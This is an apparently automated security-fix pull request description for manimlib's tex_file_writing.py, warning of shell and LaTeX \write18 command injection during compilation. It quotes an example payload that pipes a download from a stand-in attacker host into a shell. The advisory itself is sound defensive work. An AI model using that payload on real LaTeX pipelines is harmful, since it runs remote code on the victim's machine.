fix: sanitize subprocess call in tex_file_writing.py

[orbisai0security]

Summary

Fix critical severity security issue in manimlib/utils/tex_file_writing.py.

Vulnerability

Field	Value
ID	V-002
Severity	CRITICAL
Scanner	multi_agent_ai
Rule	V-002
File	manimlib/utils/tex_file_writing.py:108

Description: tex_file_writing.py invokes subprocess.run at lines 108 and 133 to compile LaTeX files. The LaTeX source content is derived from user-supplied TeX expressions in scene scripts. If the subprocess call uses shell=True or constructs the command via string concatenation, an attacker can embed shell metacharacters or LaTeX \write18 directives (e.g., \immediate\write18{curl attacker.com | sh}) to execute arbitrary commands during compilation. This is a dual-vector vulnerability: both the subprocess invocation itself and the LaTeX compiler's shell-escape feature are potential injection points.

Changes

• manimlib/utils/tex_file_writing.py
• pyproject.toml

Verification

• Build passes
• Scanner re-scan confirms fix
• LLM code review passed

---

Automated security fix by OrbisAI Security